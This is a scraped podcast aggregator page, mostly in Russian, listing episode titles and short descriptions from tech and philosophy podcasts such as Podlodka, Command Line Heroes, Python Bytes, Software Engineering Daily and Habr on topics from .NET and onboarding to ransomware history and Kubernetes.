Продолжаем погружение в .NET вместе Игорем Лабутиным! В прошлом выпуске мы составили общее представление о платформе, чтобы теперь подробно обсудить все важные особенности. Почему .NET именно такой: какой философии придерживаются создатели платформы? С какими инструментами ежедневно работают .NET разработчики и довольны ли они ими? Правда ли, что .NET нужен только для разработки под Windows, или же его ниша куда шире и разнообразнее? И, наконец, почему на C# писать так приятно? Ответы в выпуске! Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/po…

1 week, 5 days назад @ soundcloud.com
Podlodka #303 – .NET, часть 1
Podlodka #303 – .NET, часть 1 Podlodka #303 – .NET, часть 1

Исполняем новогодние обещания: нас просили выпуск про .NET – мы его сделали! Тема большая и очень интересная, поэтому хоть мы и успели обсудить очень многое, немало осталось за бортом. Поэтому представляем вашему вниманию первую часть выпуска! Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Женя Кателла, Катя Петрова Полезные ссылки: Сообщества DotNet.Ru

https://dotnet.ru/ Подкаст RadioDotNet

https://radio.dotn…

2 weeks, 6 days назад @ soundcloud.com
Podlodka #302 – Онбординг
Podlodka #302 – Онбординг Podlodka #302 – Онбординг

Все мы слышали истории плохого онбординга новичков в компанию: начиная c того, что в течение месяца сотруднику не выдавали ноутбук, заканчивая тем, что первые недели работы целиком состояли из буллшитных встреч про ценности и миссию. Вместе с Евгением Антоновым, опытным тимлидом и консультантом, мы разобрались с принципами хорошего онбординга и тем, как можно построить простой и качественный процесс в вашей собственной команде. Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в …

3 weeks, 6 days назад @ soundcloud.com
Podlodka #301 – Email
Podlodka #301 – Email Podlodka #301 – Email

В гости позвали руководителя службы Яндекс Почты Александра Мироночева. Начали с любопытных историй как почта начиналась. Если что, email старше веба и Интернета. В основной части поговорили про существующие протоколы и схему взаимодействия узлов во время отправки письма. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Стас Цыганов, Евгений Кателла Список выпусков для того, чтобы линковать на сайте:

Разработка …

1 month назад @ soundcloud.com
Podlodka #300 – Новогодний
Podlodka #300 – Новогодний Podlodka #300 – Новогодний

300 юбилейный выпуск подкаста выпал на заключительный выпуск уходящего 2022 года. Чтобы отметить это дело, мы позвали в гости людей, сделавших огромный вклад в Подлодку. Рекордсмены по участию в выпусках: Виталий Брагилевский и Павел Комаровский, а также ex-ведущий Глеб Новик пришли к нам в гости и поучаствовали в кейсовом турнире! А также мы провели викторину со слушателями, на которой произошло настоящее новогоднее чудо: два слушателя поделили первое и второе место и оба получили по Steam Deck. Посмотреть полностью этот веселый и неформальный выпуск вы можете на YouTube: https://www.youtube.com/watch?v=154IhLgBvD8 А в аудио-версии Егор, Стас, Катя и Женя делятся с вами рекомендациями выпу…

1 month, 1 week назад @ soundcloud.com
Podlodka #299 – Приоритизация
Podlodka #299 – Приоритизация Podlodka #299 – Приоритизация

Задач всегда много, а рук, чтобы их делать, всегда не хватает. Вместе с Аней Подображных, продакт-менеджером из Авито, мы поговорили о различных подходах к приоритизации задач, как на уровне стратегических инициатив всей компании, так и на уровне выбора задач для следующего спринта. Если хотите разобраться, как сравнивать задачи друг с другом – этот выпуск точно для вас! «Ясно» — сервис онлайн-консультаций с психологом. Скидка 20% на первую сессию по промокоду PODLODKA при регистрации: https://app.yasno.live/vWlQ/podlodka Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Tele…

1 month, 2 weeks назад @ soundcloud.com
Podlodka #298 – Чай
Podlodka #298 – Чай Podlodka #298 – Чай

Выпуск получился как чайная церемония – не быстрый и обстоятельный. В гости позвали Сергея Шевелева – специалиста по чаю. Затронули историю чайной культуры, вопрос влияния чая на здоровье, а самое главное – как это, пить чай проливами. После выпуска вы скорее всего побежите покупать гайвань и больше никогда не закажете чай в металлическом чайнике. ​​«Золотое Яблоко» - №1 по выручке среди бьюти e-commerce России. А у приложения более 14 млн скачиваний. Ищут системных аналитиков и администраторов, менеджеров проектов, разработчиков .Net, React и BI, а также UX\UI-дизайнеров, Product Owner и Senior web-аналитиков. Резюме присылайте на [email protected] Поддержи лучший подкаст про IT:

www.pat…

1 month, 3 weeks назад @ soundcloud.com
Podlodka #297 – Функциональная архитектура
Podlodka #297 – Функциональная архитектура Podlodka #297 – Функциональная архитектура

Думаю, многие слышали такие понятия, как SOLID, Clean Architecture, “слоистая модель” и другие, без которых не обходится ни один спор об архитектуре. Но все эти термины родились в процессе эволюции объектно-ориентированных подходов. Что это время происходит с архитектурой в функциональном мире, разбираемся с Александром Граниным. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Женя Кателла, Стас Цыганов Полезны…

2 months назад @ soundcloud.com
Podlodka #296 – 1С
Podlodka #296 – 1С Podlodka #296 – 1С

У ИТ комьюнити сложилось устойчивое негативное отношение к 1С. "Софт для бухгалтеров, программирование на русском, древние подходы к разработке, и вообще это не настоящее программирование!" — выдержка из 99% обсуждений этой платформы. Но зачастую устоявшиеся взгляды могут не отражать реальную картину дел. Вместе с представителем open-source community 1С Андреем Овсянкиным разбираемся, что правда, а что — устаревшие стереотипы. С какими инструментами работают современные разработчики 1С и какая них любимая IDE? Какого это - программировать на русском, и можно ли иначе Применимы ли DevOps практики к разработке на 1С? Разрушаем десятки мифов в этом выпуске! Поддержи лучший подкаст про IT:

www.…

2 months, 1 week назад @ soundcloud.com
Podlodka #295 – Финмониторинг и банковский compliance
Podlodka #295 – Финмониторинг и банковский compliance Podlodka #295 – Финмониторинг и банковский compliance

Каждая ваша транзакция в любом банке тщательно анализируется на предмет того, не пытаетесь ли вы с ее помощью отмыть деньги или профинансировать терроризм. Про то, по каким правилам работают эти системы, и как они реализованы, говорить обычно не принято. Наш гость Михаил, который много лет работает и в российском, и в зарубежном финтехе, рассказал нам про то, как регулируются финансовые операции, как реализованы compliance-системы, и про то, как банки выполняют возложенную на них роль финансовых полицейских. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: ht…

2 months, 2 weeks назад @ soundcloud.com
Podlodka #294 – Масштабируем процессы
Podlodka #294 – Масштабируем процессы Podlodka #294 – Масштабируем процессы

А что если в больших компаниях действительно слишком много команд и разработчиков? В гости позвали сертифицированного Scrum-тренера и автора книги Creating Agile Organizations Илью Павличенко и разобрались на чем компании теряют при масштабировании, и как можно было бы этих потерь избежать. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Стас Цыганов, Егор Толстой Полезные ссылки: Creating Agile Organizations: …

2 months, 3 weeks назад @ soundcloud.com
Podlodka #293 – Как продавать свои идеи
Podlodka #293 – Как продавать свои идеи Podlodka #293 – Как продавать свои идеи

Множество замечательных идей не увидели свет, потому что авторы не смогли привлекательно их презентовать! Чтобы с вами этого не случилось, мы поговорили о том, как правильно «продавать» свои задумки, а помог нам с этим Артём Гусев, основатель Бюро Глагол. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Женя Кателла, Катя Петрова Полезные ссылки: Бюро Глагол

https://glagol.me Ссылка на фреймворк

https://drive.go…

3 months назад @ soundcloud.com
Podlodka #292 – Распознавание речи
Podlodka #292 – Распознавание речи Podlodka #292 – Распознавание речи

В эфире ваша любимая рубрика: «как устроены сложные штуки» 🤓. Мы уже не раз затрагивали тему голосовых ассистентов и их тестирования. Настало время фундаментальных вопросов — в этом выпуске разбираемся, как работают системы распознавания речи! Иван Бондаренко, старший преподаватель и научный сотрудник НГУ, рассказал из каких компонентов устроены типичные архитектуры таких систем, принцип их работы, и как системы эволюционируют, все больше полагаясь на нейронные сети. Не обошли стороной и практику и обсудили, как самому реализовать распознавание речи из open-source решений. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах …

3 months назад @ soundcloud.com
Podlodka #291 – Продуктивность разработчика
Podlodka #291 – Продуктивность разработчика Podlodka #291 – Продуктивность разработчика

На продуктивность можно смотреть по-разному – через призму количества закрытых задач, достигнутых результатов, собственного wellbeing. В этом выпуске мы с Кириллом Мокевниным обсуждаем продуктивность владения инструментами разработки, достижение которой позволит вам увереннее входить в состояние потока и дольше в нем оставаться. Слепая печать, горячие клавиши, терминал, Vim и куча других способов оптимизировать свою рутину. «Золотое Яблоко» - №1 по выручке среди бьюти e-commerce России. А у приложения более 14 млн скачиваний. Ищем аналитиков 1С, системных аналитиков и администраторов, инженеров по тестированию, ведущих разработчиков BI, UX\UI дизайнеров и контент-менеджеров. Резюме присылай…

3 months, 1 week назад @ soundcloud.com
Проветримся! Проветримся!
последний пост 2 months назад
Межсезонье. Как искусственный интеллект поможет нам сохранить человечность?
Межсезонье. Как искусственный интеллект поможет нам сохранить человечность?

Разговор с Анной Ковалёвой для Reforum.Support the show

2 months назад @ buzzsprout.com
Межсезонье. Василий Севрюк про нобелевскую премию по физике 2022
Межсезонье. Василий Севрюк про нобелевскую премию по физике 2022

Про новую нобелевскую премию по физике рассказывает Василий Севрюк — квантовый инженер IQM Quantum Computers.https://www.meetiqm.com/Support the show

3 months, 2 weeks назад @ buzzsprout.com
Смелость не нравиться
Смелость не нравиться

Писатель и психолог из Японии написали книгу-диалог о том, что такое индивидуальная психология. Не будьте такими душными, давайте лучше - проветримся!Подпишись в Телеграм на канал @progulkaApplePodcasts ; GooglePodcasts ; Spotify ; Я.музыкаSupport the show

4 months назад @ buzzsprout.com
Стоицизм в XXI веке
Стоицизм в XXI веке

Книга Уильяма Ирвайна о том, чему современный человек может научиться у философов Греции и Рима. Не будьте такими душными, давайте лучше - проветримся!Подпишись в Телеграм на канал @progulkaApplePodcasts ; GooglePodcasts ; Spotify ; Я.музыкаSupport the show

4 months назад @ buzzsprout.com
Человек в поисках смысла
Человек в поисках смысла

Как Виктор Франкл попал в концлагерь и написал одну из главных работ по психологии второй половины двадцатого века.Не будьте такими душными, давайте лучше - проветримся!Подпишись в Телеграм на канал @progulkaApplePodcasts ; GooglePodcasts ; Spotify ; Я.музыкаSupport the show

4 months, 1 week назад @ buzzsprout.com
Эмоции и личность
Эмоции и личность

Это тринадцатая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

7 months, 4 weeks назад @ buzzsprout.com
Другие люди
Другие люди

Это двенадцатая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

8 months назад @ buzzsprout.com
Внимание и эмоции
Внимание и эмоции

Это одиннадцатая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

8 months назад @ buzzsprout.com
Эмоции стоиков
Эмоции стоиков

Это десятая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

8 months назад @ buzzsprout.com
Ощущения и эмоции
Ощущения и эмоции

Это девятая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

8 months назад @ buzzsprout.com
Будущее
Будущее

Это восьмая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

8 months назад @ buzzsprout.com
Благодарность
Благодарность

Это седьмая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

8 months назад @ buzzsprout.com
Могло быть хуже
Могло быть хуже

Это шестая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

8 months назад @ buzzsprout.com
Внимание к деталям
Внимание к деталям

Это пятая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

8 months, 1 week назад @ buzzsprout.com
Стоические боги
Стоические боги

Это четвёртая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

8 months, 1 week назад @ buzzsprout.com
Вы находитесь здесь Вы находитесь здесь
последний пост None
Comand Line Heroes by RedHat Comand Line Heroes by RedHat
последний пост 8 months, 1 week назад
All Together Now
All Together Now All Together Now

Our show is all about heroes making great strides in technology. But in InfoSec, not every hero expects to ride off into the sunset. In our series finale, we tackle vulnerability scans, how sharing information can be a powerful tool against cyber crime, and why it’s more important than ever for cybersecurity to have more people, more eyes, and more voices, in the fight.Wietse Venema gives us the story of SATAN, and how it didn’t destroy the world as expected. Maitreyi Sistla tells us how representation helps coders build things that work for everyone. And Mary Chaney shines a light on how hiring for a new generation can prepare us for a bold and brighter future.If you want to read up on som…

8 months, 1 week назад @ redhat.com
Invisible Intruders
Invisible Intruders Invisible Intruders

What began as a supposed accounting error landed Cliff Stoll in the midst of database intrusions, government organizations, and the beginnings of a newer threat—cyber-espionage. This led the eclectic astronomer-cum-systems administrator to create what we know today as intrusion detection. And it all began at a time when people didn’t understand the importance of cybersecurity. This is a story that many in the infosec community have already heard, but the lessons from Stoll’s journey are still relevant. Katie Hafner gives us the background on this unbelievable story. Richard Bejtlich outlines the “honey pot” that finally cracked open the international case. And Don Cavender discusses the imp…

8 months, 3 weeks назад @ redhat.com
Ruthless Ransomers
Ruthless Ransomers Ruthless Ransomers

It’s a strange situation when someone can hold something hostage from halfway around the world. It’s tragic when your own pictures and files are remotely encrypted. But when it’s a hospital’s system? Ransomware becomes a problem about life or death. Eddy Willems recounts his involvement in defeating an early ransomware attack that targeted AIDS researchers. At the time, there was a way to discover the encryption key. But as Moti Yung warned, asymmetric encryption would change everything. In the years since, ransomware attacks have become much more popular—thanks in part to the rise of cryptocurrencies. While criminals think it’s an anonymous way to collect payment, Sheila Warren tells us th…

9 months, 1 week назад @ redhat.com
Menace in the Middle
Menace in the Middle Menace in the Middle

All communication leaves the possibility for crossed wires. And as we become more connected, there’s a chance for those with ill intentions to steal our information and meddle in our daily lives—with devastating results. Smriti Bhatt breaks down the complexity behind machine-in-the-middle attacks. Johannes Ullrich tells us why we shouldn’t always trust that free WiFi. And the “father of SSL” Taher Elgamal notes that while cryptography can address the increasingly sophisticated nature of malware, there are no safe bets in security.If you want to read up on some of our research on machine in the middle attacks, you can check out all our bonus material over at redhat.com/commandlineheroes.Foll…

9 months, 3 weeks назад @ redhat.com
Python Bytes Python Bytes
последний пост 6 days, 2 hours назад
#321 A Memorial To Apps Past
#321 A Memorial To Apps Past 6 days, 2 hours назад @ pythonbytes.fm
#320 The Bug Is In The JavaScript
#320 The Bug Is In The JavaScript 1 week, 5 days назад @ pythonbytes.fm
#319 CSS-Style Queries for... JSON?
#319 CSS-Style Queries for... JSON? 2 weeks, 4 days назад @ pythonbytes.fm
#318 GIL, How We Will Miss You
#318 GIL, How We Will Miss You 3 weeks, 5 days назад @ pythonbytes.fm
#317 Most loved and most dreaded dev tools of 2022
#317 Most loved and most dreaded dev tools of 2022 1 month назад @ pythonbytes.fm
#316 Python 3.11 is here and it's fast (crossover)
#316 Python 3.11 is here and it's fast (crossover) 1 month, 1 week назад @ pythonbytes.fm
#315 Some Stickers!
#315 Some Stickers! 1 month, 2 weeks назад @ pythonbytes.fm
#314 What are you, a wise guy? Sort it out!
#314 What are you, a wise guy? Sort it out! 1 month, 3 weeks назад @ pythonbytes.fm
#313 Programming Robots With a Marker
#313 Programming Robots With a Marker 2 months назад @ pythonbytes.fm
#312 AI Goes on Trial For Writing Code
#312 AI Goes on Trial For Writing Code 2 months, 1 week назад @ pythonbytes.fm
#311 Catching Memory Leaks with ... pytest?
#311 Catching Memory Leaks with ... pytest? 2 months, 1 week назад @ pythonbytes.fm
#310 Calling All Tools for Readmes
#310 Calling All Tools for Readmes 2 months, 3 weeks назад @ pythonbytes.fm
#309 When Malware PoC's are Themselves Malware
#309 When Malware PoC's are Themselves Malware 2 months, 4 weeks назад @ pythonbytes.fm
#308 Conference season is heating up
#308 Conference season is heating up 3 months назад @ pythonbytes.fm
#307 Your Python just got faster (3.11 is out!)
#307 Your Python just got faster (3.11 is out!) 3 months, 1 week назад @ pythonbytes.fm
Software Engineering Daily Software Engineering Daily
последний пост 1 day, 16 hours назад
Streamdal: Streaming Data Performance Monitoring with Ustin Zarubin and Dan Selans
Streamdal: Streaming Data Performance Monitoring with Ustin Zarubin and Dan Selans

Data observability is the idea of creating a unified view of all the data so you can head off problems early, identify outages, and address any conflicts in real time. Today we’re interviewing Streamdal’s founders Ustin Zarubin and Dan Selans. They’re gonna share with us how they’re using an application monitoring approach to address the

The post Streamdal: Streaming Data Performance Monitoring with Ustin Zarubin and Dan Selans appeared first on Software Engineering Daily.

1 day, 16 hours назад @ softwareengineeringdaily.com
Istio Ambient Mesh with Brian Gracely
Istio Ambient Mesh with Brian Gracely

Let’s say you have a set of microservices running on a Kubernetes cluster. In the past, developers used to program features like service discovery, observability, who’s allowed to talk to whom and other security related features directly into the application code. This slowed down the dev cycle and it made these microservices bigger and just

The post Istio Ambient Mesh with Brian Gracely appeared first on Software Engineering Daily.

2 days, 17 hours назад @ softwareengineeringdaily.com
Dev-First Kubernetes Operations Platform with Itiel Shwartz
Dev-First Kubernetes Operations Platform with Itiel Shwartz

Kubernetes is an open-source platform for automating the deployment, scaling, and management of containerized applications. The company Komodor started as a Kubernetes diagnostics platform focusing on Kubernetes troubleshooting for the entire Kubernetes stack. More recently, Komodor is taking a step towards becoming a single-pane-of-glass to simplify Kubernetes for developers. In the past, they were more

The post Dev-First Kubernetes Operations Platform with Itiel Shwartz appeared first on Software Engineering Daily.

4 days, 8 hours назад @ softwareengineeringdaily.com
Permit Elements and Fullstack Authorization with Or Weis
Permit Elements and Fullstack Authorization with Or Weis

Permissions are Hard! And they are becoming harder as we move more into the Cloud-native ecosystem. If we go back in time to the point where it was just a single monolith that you were building on your own. You’ll probably have a framework to manage the permissions for you. But when you are working

The post Permit Elements and Fullstack Authorization with Or Weis appeared first on Software Engineering Daily.

1 week, 4 days назад @ softwareengineeringdaily.com
Databricks Unity Catalog with Zeashan Pappa
Databricks Unity Catalog with Zeashan Pappa

Data catalogs are one way to address the tension between wanting to use all the data for business advantage and needing to govern all the data for compliance. Today, Zeashan Pappa, a Databricks Product Specialist for the Unity Catalog, joins us to discuss how catalogs can help companies capture the full value of their data.

The post Databricks Unity Catalog with Zeashan Pappa appeared first on Software Engineering Daily.

2 weeks, 2 days назад @ softwareengineeringdaily.com
Webhooks at Scale with Alexandre Bouchard
Webhooks at Scale with Alexandre Bouchard

Webhooks are used in connecting two different online applications. Webhooks allow one program to send data to another as soon as a certain event takes place.And because they are event-driven, webhooks are ideal for things like real-time notifications and data updates. The company Hookdeck helps build webhook integrations at scale. In this episode, we talk

The post Webhooks at Scale with Alexandre Bouchard appeared first on Software Engineering Daily.

2 weeks, 5 days назад @ softwareengineeringdaily.com
Caching at Twitter with Yao Yue
Caching at Twitter with Yao Yue

Twitter is a social media platform that does some incredibly complex stuff when it comes to distributed systems engineering to keep the website up and running. Twitter has open sourced a lot of projects for others to use. Twitter created a fork of Memcached called Twemcache and also a fork of Redis to handle the

The post Caching at Twitter with Yao Yue appeared first on Software Engineering Daily.

3 weeks, 3 days назад @ softwareengineeringdaily.com
Cloud Native Compiler with John Ceccarelli
Cloud Native Compiler with John Ceccarelli

Java is a write once run anywhere programming language. The way you do that is you use the javac compiler and compile the source files down to the class files. Those class files can run on any system in interpreted mode. But those class files that are run in interpreted mode, they are not machine

The post Cloud Native Compiler with John Ceccarelli appeared first on Software Engineering Daily.

3 weeks, 4 days назад @ softwareengineeringdaily.com
MLOps Systems at Scale with Krishna Gade
MLOps Systems at Scale with Krishna Gade

Although we like to think about ML workflows as straight-line narratives from experiment to training to production, and then finally monitoring; the reality for large companies is that all the steps are happening at one time in concert with other models, with shifting data, and, sometimes, misaligned key feature inputs. Moreover, regulated firms are required

The post MLOps Systems at Scale with Krishna Gade appeared first on Software Engineering Daily.

3 weeks, 4 days назад @ softwareengineeringdaily.com
Optimizing Cloud Data Platforms with Mingsheng Hong
Optimizing Cloud Data Platforms with Mingsheng Hong

Mingsheng Hong, is CEO and co-founder (along with Zheng Shao) of Bluesky. He is a thought leader for machine learning and has built data infrastructure to support some of the world’s most challenging workloads. Most recently, Mingsheng was at Google, where he led teams to build storage and querying stacks that power Google’s $100 billion

The post Optimizing Cloud Data Platforms with Mingsheng Hong appeared first on Software Engineering Daily.

1 month назад @ softwareengineeringdaily.com
Software Supply Chain with Dan Lorenc
Software Supply Chain with Dan Lorenc

Show host: Jordi Mon Companys Guest: Dan Lorenc

The post Software Supply Chain with Dan Lorenc appeared first on Software Engineering Daily.

1 month назад @ softwareengineeringdaily.com
Open Source Software Lifecycle Management and Security with Varun Badhwar
Open Source Software Lifecycle Management and Security with Varun Badhwar

In this episode we talk with Varun Badhwar, Founder and CEO of Endor Labs. Show host: Sean Falconer

The post Open Source Software Lifecycle Management and Security with Varun Badhwar appeared first on Software Engineering Daily.

1 month назад @ softwareengineeringdaily.com
Pipelines as Code with Sam Alba
Pipelines as Code with Sam Alba

Show Host: Jordi Mon Companys Guest: Sam Alba Transcript

The post Pipelines as Code with Sam Alba appeared first on Software Engineering Daily.

1 month назад @ softwareengineeringdaily.com
API Testing in Kubernetes with Matthew LeRay
API Testing in Kubernetes with Matthew LeRay

As applications grow in size and complexity, and as they increasingly move to microservice architectures, it becomes harder for individual developers to perform end-to-end tests of an entire application stack. Connecting development services to production services is off limits. Test environments are limited to automated tests. Staging environments are woefully inadequate with the amount of

The post API Testing in Kubernetes with Matthew LeRay appeared first on Software Engineering Daily.

1 month назад @ softwareengineeringdaily.com
Open Source Design Collaboration
Open Source Design Collaboration

Show Host: Jordi Mon Companys Heather Meeker Scott Jenson Pablo Ruiz-Múzquiz Transcript

The post Open Source Design Collaboration appeared first on Software Engineering Daily.

1 month назад @ softwareengineeringdaily.com
Habr Podcasts Habr Podcasts
последний пост 1 day, 18 hours назад
Хабр Про // Единство горы рушит: как синхронизировать разработку и управление продуктом
Хабр Про // Единство горы рушит: как синхронизировать разработку и управление продуктом Хабр Про // Единство горы рушит: как синхронизировать разработку и управление продуктом

В вашей компании команды разработки и управления продуктом тоже никак не могут договориться? В этом выпуске обсудим, как достичь дзена между лебедем и щукой: Технический директор «Дзена» Дима Кондрашкин

Директор по продукту «Дзена» Саша Колокольников А в роли рака был Андрей Аврамчук — ведущий подкаста. Онлайн прошёл 2 февраля 2023. 1:47 Взаимодействие между разработкой и продактом: критерии хорошего процесса и доверие как ключевое условие. 6:54 Как определить готовность MVP: подходы в разработке и продукте. 10:54 Что делать, если идея не взлетела. 14:24 Неудачи как полезный опыт. 15:27 Распределение ответственности между CTO и CPO. 19:03 Синхронизация работы через OKR и смена направлений в…

1 day, 18 hours назад @ soundcloud.com
Хабр ПРО // Школа жизни для моделей: как MLOps продуктивизации помогает
Хабр ПРО // Школа жизни для моделей: как MLOps продуктивизации помогает Хабр ПРО // Школа жизни для моделей: как MLOps продуктивизации помогает

Когда-то на создание новых ML-продуктов уходили недели и месяцы, а теперь результат должен быть в течение пары дней. В этом выпуске Хабр ПРО мы обсудили, как создать свою MLOps-платформу. Про то, как идет эта работа в Мегафоне, нам рассказали: → Максим Кожевников, Head of Data Science

→ Артём Глазунов, Head of ML Platform and Analytical services и ведущий подкаста «Данные люди» https://t.me/bigdatapeople. Тайминги:

01:22 Идеальный пайплайн для ML-моделей

03:22 Главное звено внедрения MLOps

08:13 Секрет успеха своей платформы

11:51 Как определить, что нужна своя платформа

17:09 Вредные советы: как убить ML-модель

21:27 Как разные задачи ML меняют конфигурацию MLOps

24:48 Проблемы продуктивиз…

5 days, 20 hours назад @ soundcloud.com
Хабр ПРО // Прощай, NFC? Обсуждаем, придут ли QR-коды на смену картам
Хабр ПРО // Прощай, NFC? Обсуждаем, придут ли QR-коды на смену картам Хабр ПРО // Прощай, NFC? Обсуждаем, придут ли QR-коды на смену картам

Давным-давно, на заре эпохи Хэйсэй, Масахиро Хара придумал QR-код — новый формат меток для отслеживания деталей на автомобильном конвейере. Технология оказалась удачной, и спустя 30 лет продолжает проникать в нашу повседневную жизнь. В этом выпуске Хабр ПРО мы обсудили, чем же так удобны QR-коды, какие функции они выполняют в платежных системах и куда могут развиться дальше. Наши гости: → Екатерина Аккузина, руководитель центра развития мобильных платежей, Мир Plat.Form → Игорь Тростников, директор по развитию продуктов СБП, Мир Plat.Form 01:20 Почему технология QR-кодов сейчас так популярна

05:03 Чем технология QR-кодов удобна пользователям

05:36 Как работают платежи с использованием QR-ко…

2 months, 2 weeks назад @ soundcloud.com
Хабр ПРО // Hello world: две истории о старте в IT
Хабр ПРО // Hello world: две истории о старте в IT Хабр ПРО // Hello world: две истории о старте в IT

Старт карьеры в ИТ похож на гонки на выживание: и там и там цели достигают не все. В этом выпуске — те, кто её достиг. Мы поговорили с Junior-разработчиками о том, как они строили карьеру, что им помогало, а что мешало. Итак, сегодня в нашей виртуальной студии

Толибжон Сохибов из Лаборатории Касперского,

Максим Набиуллин из Московского кредитного банка. 00:56 Почему именно ИТ

02:29 Чувствуется ли разница между теми, кто учит программирование со школы, и теми, кто с ним знакомится позже.

04:33 Нужно ли начинать учиться программированию рано

06:14 Самый сложный барьер при поиске работы

10:08 Откуда ждать помощи в обучении

11:44 Как ощущалась нехватка практического опыта

13:38 Как учат командн…

3 months, 2 weeks назад @ soundcloud.com
Хабр ПРО // В чём магия геоданных и как их найти без регистрации и СМС
Хабр ПРО // В чём магия геоданных и как их найти без регистрации и СМС Хабр ПРО // В чём магия геоданных и как их найти без регистрации и СМС

В книгах и фильмах про пиратов всегда были карты сокровищ. В современном мире карты и дополняющие их данные — сокровища сами по себе.

В этом выпуске говорим о геоданных и о том, как разработчики их используют. Завесу тайны над геоданными приоткроют:

Елена Гоголева, начальник управления аналитических исследований и инновационных технологий Промсвязьбанка,

Мария Сакиркина, продуктовый аналитик 2ГИС. 01:05 Где работают с геоданными

02:50 Можно ли считать пиратскую карту Джека Воробья геоданными

03:30 Задачи, в которых помогают геоданные

09:13 Как геоданные помогают выбирать места для магазинов, офисов и банкоматов

10:45 Типовые задачи при работе с данными

15:23 Спасут ли геоданные наш любимый …

3 months, 3 weeks назад @ soundcloud.com
Хабр ПРО // Охапка дров, деврел готов: как выжать максимум пользы из техноавторства
Хабр ПРО // Охапка дров, деврел готов: как выжать максимум пользы из техноавторства Хабр ПРО // Охапка дров, деврел готов: как выжать максимум пользы из техноавторства

Контент — сложный и часто неблагодарный труд, но что-то толкает людей становиться авторами. И дело не только в амбициях — если бы контент не приносил технарям пользу, постов на Хабре бы на порядок меньше. Так какие бенефиты может выжать хороший автор из своего аккаунта? Стоит ли признаваться работодателю, что в свободное время пишешь о технологиях? И есть ли вариант остаться в разработке, если к написанию кода уже подостыл? Спойлер: есть, становитесь деврелами. 1:00 Наши гости: Елена Кабанец, руководитель HR-бренда Сбера, и Григорий Петров, деврел компании Еврон. 1:15 Путь в деврелы начинается со статей? Личный опыт гостя. 4:40 Как Сбер находит авторов внутри команды и мотивирует их писать …

6 months, 3 weeks назад @ soundcloud.com
Хабр ПРО // Ретроспектива фронтенда: ностальгируем по jQuery и кроссбраузерности
Хабр ПРО // Ретроспектива фронтенда: ностальгируем по jQuery и кроссбраузерности Хабр ПРО // Ретроспектива фронтенда: ностальгируем по jQuery и кроссбраузерности

